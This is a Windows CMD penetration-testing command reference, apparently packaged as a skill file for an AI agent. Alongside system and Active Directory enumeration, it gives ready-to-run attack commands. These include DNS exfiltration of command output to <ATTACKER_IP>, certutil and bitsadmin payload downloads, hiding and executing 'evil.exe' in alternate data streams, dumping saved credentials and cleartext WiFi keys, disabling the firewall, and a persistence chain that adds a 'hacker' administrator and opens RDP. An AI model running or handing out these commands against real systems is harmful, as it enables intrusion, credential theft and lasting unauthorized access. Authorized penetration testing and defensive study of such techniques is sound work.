abelrguezr Windows CMD Pentesting Reference
A comprehensive command reference for Windows penetration testing and security assessment using native CMD tools.
System Enumeration
Architecture and Version
wmic os get osarchitecture
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic computersystem LIST full
Patches and Updates
wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic qfe list brief
Environment Variables
set
Key variables to check:
COMPUTERNAME- Computer nameTEMP/TMP- Temp folder locationUSERNAME- Current usernameUSERPROFILE- Home directorywindir- Windows directory (C:\Windows)LOGONSERVER- Domain controller nameUSERDNSDOMAIN- DNS domain nameUSERDOMAIN- Domain name
Disk and Storage
wmic logicaldisk get caption,description,providername
fsutil fsinfo drives
Processes and Services
tasklist /V
tasklist /SVC
net start
wmic service list brief
sc query
Scheduled Tasks
schtasks /query /fo LIST /v
schtasks /query /fo LIST 2>nul | findstr TaskName
Installed Software
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Active Directory Enumeration
Domain Information
echo %USERDOMAIN%
echo %USERDNSDOMAIN%
echo %logonserver%
gpresult /V
wmic ntdomain list /format:list
User Enumeration
dsquery user
net user /domain
net user <ACCOUNT_NAME> /domain
wmic useraccount list /format:list
wmic sysaccount list /format:list
Group Enumeration
net group /domain
net localgroup administrators /domain
net group "Domain Admins" /domain
net group "domain computers" /domain
net group "Domain Controllers" /domain
wmic group list /format:list
Computer Enumeration
dsquery computer
net view /domain
nltest /dclist:<DOMAIN>
Trust Relationships
nltest /domain_trusts
Query Specific OU
dsquery * "CN=Users,DC=DOMAIN,DC=LOCAL"
User and Group Management
Current User Info
whoami /all
whoami /priv
net user %username%
Local Users
net users
dir /b /ad "C:\Users"
net accounts
wmic USERACCOUNT Get Domain,Name,Sid
Create User
net user [username] [password] /add
Domain User Creation
net user username password /ADD /DOMAIN
Add to Administrators
net localgroup Administrators [username] /add
net group "Domain Admins" username /ADD /DOMAIN
Add to Special Groups
net localgroup "Remote Desktop Users" UserLoginName /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
Check Logged-in Users
qwinsta
klist sessions
Run as Different User
runas /netonly /user:<DOMAIN><NAME> "cmd.exe"
runas /savecred /user:WORKGROUP\Administrator "<command>"
Credential Discovery
Saved Credentials
cmdkey /list
vaultcmd /listcreds:"Windows Credentials" /all
rundll32 keymgr.dll, KRShowKeyMgr
Password Policy
net accounts
net accounts /domain
Network Reconnaissance
Network Configuration
ipconfig /all
route print
arp -a
netstat -ano
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
Firewall
netsh firewall show state
netsh advfirewall firewall show rule name=all
netsh firewall show config
Netsh Advfirewall show allprofiles
Disable Firewall
NetSh Advfirewall set allprofiles state off
netsh firewall set opmode disable
Enable Firewall
NetSh Advfirewall set allprofiles state on
Open Ports
netsh advfirewall firewall add rule name="Rule Name" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="Rule Name" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"
Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
Enable Remote Desktop via WMIC
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"
Enable Remote Assistance
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable
Network Shares
net view
net view /all /domain [domainname]
net view \\computer /ALL
net use x: \\computer\share
net share
WiFi Credentials
netsh wlan show profile
netsh wlan show profile <SSID> key=clear
SNMP Configuration
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
File Operations
Basic Commands
cd
cd C:\path\to\dir
dir
dir /a:h C:\path\to\dir
dir /s /b
time
date
type <file>
Hide/Unhide Files
attrib +h file
attrib -h file
File Permissions
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME>
Copy to SMB
xcopy /hievry C:\source\path \\10.10.14.13\share\path
Shutdown
shutdown /r /t 0
Download Techniques
BitsAdmin
bitsadmin /create <jobname>
bitsadmin /addfile <jobname> <url> <localpath>
bitsadmin /RESUME <jobname>
bitsadmin /complete <jobname>
CertUtil
certutil.exe -urlcache -split -f "http://<url>/file.exe" <localpath>.exe
CertReq
CertReq -Post -config <url> <localpath>
Alternate Data Streams (ADS)
Detect ADS
dir /r
Read ADS
more file.txt:ads.txt
powershell (Get-Content file.txt -Stream ads.txt)
Write to ADS
type C:\temp\evil.exe > "C:\path\logfile.log:evil.exe"
certutil.exe -urlcache -split -f <url> c:\temp:streamname
Extract from ADS
expand c:\ads\file.txt:test.exe c:\temp\evil.exe
Execute from ADS
wmic process call create "'C:\path\file.log:evil.exe'"
powershell -ep bypass - < c:\temp:streamname
DNS Exfiltration
Send Command Output via DNS
for /f %a in ('whoami') do nslookup %a <ATTACKER_IP>
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <ATTACKER_IP>
for /f "tokens=1,2,3" %a in ('dir /B C:') do nslookup %a.%b.%c <ATTACKER_IP>
Handle Spaces in Paths
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <ATTACKER_IP>
Redirect and Exfiltrate
whoami /priv | findstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <ATTACKER_IP>
Bypass Techniques
Character Blacklisting
echo %HOMEPATH:~6,-11% # Outputs backslash
who^ami # Bypasses whoami
Error Messages
net helpmsg <error_code>
URL ACLs
netsh http show urlacl
Persistence Quick Reference
Full Persistence Chain
net user hacker Hacker123! /add & \
net localgroup administrators hacker /add & \
net localgroup "Remote Desktop Users" hacker /add & \
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & \
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & \
netsh firewall add portopening TCP 3389 "Remote Desktop" & \
netsh firewall set service remoteadmin enable
Common Reconnaissance Patterns
Quick System Info
hostname & systeminfo | findstr /B /C:"OS Name" /C:"OS Version" & whoami /all
Quick Domain Info
echo %USERDOMAIN% & echo %logonserver% & net user /domain | findstr /v "------------"
Quick Network Info
ipconfig /all & netstat -ano | findstr LISTENING
Quick Privilege Check
whoami /priv | findstr /i "enable"
Tips
- Use
2>nulto suppress error messages when commands might fail - Use
findstrto filter output for specific keywords - Use
^to escape special characters in commands - Use
&to chain multiple commands on one line - Use
|to pipe output between commands - Check
LOLBAS(https://lolbas-project.github.io/) for more living-off-the-land binaries - Use short paths (e.g.,
Progra~2) when dealing with spaces in paths - Save output to files for later analysis:
command > output.txt
When to Use This Skill
Use this skill when you need:
- Windows CMD commands for penetration testing
- Active Directory enumeration techniques
- System reconnaissance on Windows targets
- Privilege escalation command references
- Persistence mechanism examples
- Network share and credential discovery
- File operation commands for Windows
- Bypass techniques for restricted environments